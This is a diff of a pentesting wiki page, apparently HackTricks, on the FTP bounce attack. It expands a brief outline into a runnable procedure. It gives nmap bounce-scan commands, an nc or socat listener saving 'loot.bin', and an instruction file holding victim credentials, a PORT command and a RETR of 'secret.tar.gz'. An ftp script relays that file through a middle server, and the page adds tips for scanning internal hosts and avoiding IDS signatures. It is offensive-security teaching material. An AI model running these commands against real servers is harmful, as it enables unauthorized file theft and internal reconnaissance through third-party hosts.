|
5 | 5 |
|
6 | 6 | ## Resume |
7 | 7 |
|
8 | | -If you have access to a bounce FTP server, you can make it request files of other FTP server \(where you know some credentials\) and download that file to your own server. |
| 8 | +If you have access to a **bounce FTP server**, you can make it request files of **another FTP server** (where you know some credentials) and download that file to **your own server**. |
9 | 9 |
|
10 | 10 | ## Requirements |
11 | 11 |
|
12 | | -- FTP valid credentials in the FTP Middle server |
13 | | -- FTP valid credentials in Victim FTP server |
14 | | -- Both server accepts the PORT command \(bounce FTP attack\) |
15 | | -- You can write inside some directory of the FRP Middle server |
16 | | -- The middle server will have more access inside the Victim FTP Server than you for some reason \(this is what you are going to exploit\) |
| 12 | +- FTP valid credentials in the **FTP Middle server** |
| 13 | +- FTP valid credentials in **Victim FTP server** |
| 14 | +- Both servers **accept the `PORT` command** (bounce FTP attack) |
| 15 | +- You can **write** inside some directory of the **FTP Middle server** |
| 16 | +- The middle server has **more access** inside the Victim FTP Server than you |
17 | 17 |
|
18 | 18 | ## Steps |
19 | 19 |
|
20 | | -1. Connect to your own FTP server and make the connection passive \(pasv command\) to make it listen in a directory where the victim service will send the file |
21 | | -2. Make the file that is going to send the FTP Middle server t the Victim server \(the exploit\). This file will be a plaint text of the needed commands to authenticate against the Victim server, change the directory and download a file to your own server. |
22 | | -3. Connect to the FTP Middle Server and upload de previous file |
23 | | -4. Make the FTP Middle server establish a connection with the victim server and send the exploit file |
24 | | -5. Capture the file in your own FTP server |
25 | | -6. Delete the exploit file from the FTP Middle server |
| 20 | +1. Connect to **your own FTP server** and make the connection passive (`pasv` command) so it **listens** in a directory where the victim service will send the file. |
| 21 | +2. Craft the file the FTP Middle server will send to the Victim server (the **exploit script**). This file will be plain text with the needed commands to authenticate against the Victim server, change the directory and download a file to your own server. |
| 22 | +3. Connect to the **FTP Middle Server** and upload the previous file. |
| 23 | +4. Make the FTP Middle server **establish a connection** with the Victim server and send the exploit file. |
| 24 | +5. **Capture** the file in your own FTP server. |
| 25 | +6. **Delete** the exploit file from the FTP Middle server. |
26 | 26 |
|
27 | | -For a more detailed information check the post: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) |
| 27 | +## Quick check for vulnerable bounce hosts |
28 | 28 |
|
| 29 | +- **Nmap** still supports FTP bounce checks. Example to verify a potential middle server: |
29 | 30 |
|
30 | | -{{#include ../../banners/hacktricks-training.md}} |
| 31 | +```bash |
| 32 | +nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip> |
| 33 | +# or directly attempt a bounce scan |
| 34 | +nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip> |
| 35 | +``` |
| 36 | + |
| 37 | +If the server refuses third‑party `PORT` values the scan will fail; some **embedded/legacy printers, NAS and appliance FTP daemons** still allow it. |
| 38 | + |
| 39 | +## Automating the 2nd FTP download |
| 40 | + |
| 41 | +Below is a modernized way to pull a file through a vulnerable middle FTP server. |
| 42 | + |
| 43 | +1. **Open a passive listener** on your attack box (any TCP sink works): |
| 44 | + ```bash |
| 45 | + nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server |
| 46 | + ``` |
| 47 | + |
| 48 | +2. **Note** your IP as `A,B,C,D` and port `P` as `p1,p2` (`p1 = P/256`, `p2 = P%256`). |
| 49 | + |
| 50 | +3. **Build the instruction file** that the middle server will replay to the victim: |
| 51 | + ```bash |
| 52 | + cat > instrs <<'EOF' |
| 53 | + USER <victim_user> |
| 54 | + PASS <victim_pass> |
| 55 | + CWD /path/inside/victim |
| 56 | + TYPE I |
| 57 | + PORT A,B,C,D,p1,p2 |
| 58 | + RETR secret.tar.gz |
| 59 | + QUIT |
| 60 | + EOF |
| 61 | + # Add padding so the control channel stays open on picky daemons |
| 62 | + dd if=/dev/zero bs=1024 count=60 >> instrs |
| 63 | + ``` |
| 64 | +
|
| 65 | +4. **Upload & trigger from the middle server** (classic proxy FTP): |
| 66 | + ```bash |
| 67 | + ftp -n <middle_ftp> <<'EOF' |
| 68 | + user <middle_user> <middle_pass> |
| 69 | + put instrs |
| 70 | + PORT <victim_ip_with_commas>,0,21 |
| 71 | + RETR instrs |
| 72 | + QUIT |
| 73 | + EOF |
| 74 | + ``` |
31 | 75 |
|
| 76 | +5. **Grab the file** from your listener (`loot.bin`). |
| 77 | +6. **Clean up** the uploaded `instrs` file on the middle server. |
32 | 78 |
|
| 79 | +Notes: |
| 80 | +- Padding (`dd ...`) prevents the control connection from closing before the RETR finishes (large TCP window issue discussed in classic writeups). |
| 81 | +- Any service that can **listen and dump TCP** can replace the FTP PASV socket (e.g., `socat -u TCP-LISTEN:2121,fork - > loot.bin`). |
| 82 | +- If the middle server restricts privileged ports, use a high port in `PORT` and adjust your listener accordingly. |
33 | 83 |
|
| 84 | +## Extra tricks |
| 85 | +
|
| 86 | +- Use a bounceable FTP server to **port-scan internal hosts** when file relay is blocked: |
| 87 | + ```bash |
| 88 | + nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip> |
| 89 | + ``` |
| 90 | +- Some modern WAF/IDS (e.g., Juniper IPS) ship signatures specifically for **FTP:EXPLOIT:BOUNCE-ATTACK**; noisy payloads or missing padding may trip them. |
| 91 | +- When the middle server enforces "PORT to same host" restrictions, place your **listener on the middle server itself** (if you have write/execute) and forward the captured file later. |
| 92 | +
|
| 93 | +For a more detailed old-school walkthrough check: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) |
| 94 | +
|
| 95 | +
|
| 96 | +
|
| 97 | +
|
| 98 | +## References |
| 99 | +
|
| 100 | +- [Nmap book – TCP FTP Bounce Scan (-b)](https://nmap.org/book/scan-methods-ftp-bounce-scan.html) |
| 101 | +- [CPTS Attacking Common Services – FTP Bounce example (2025)](https://www.chaostudy.com/2025/02/24/cpts-attacking-common-services/) |
| 102 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments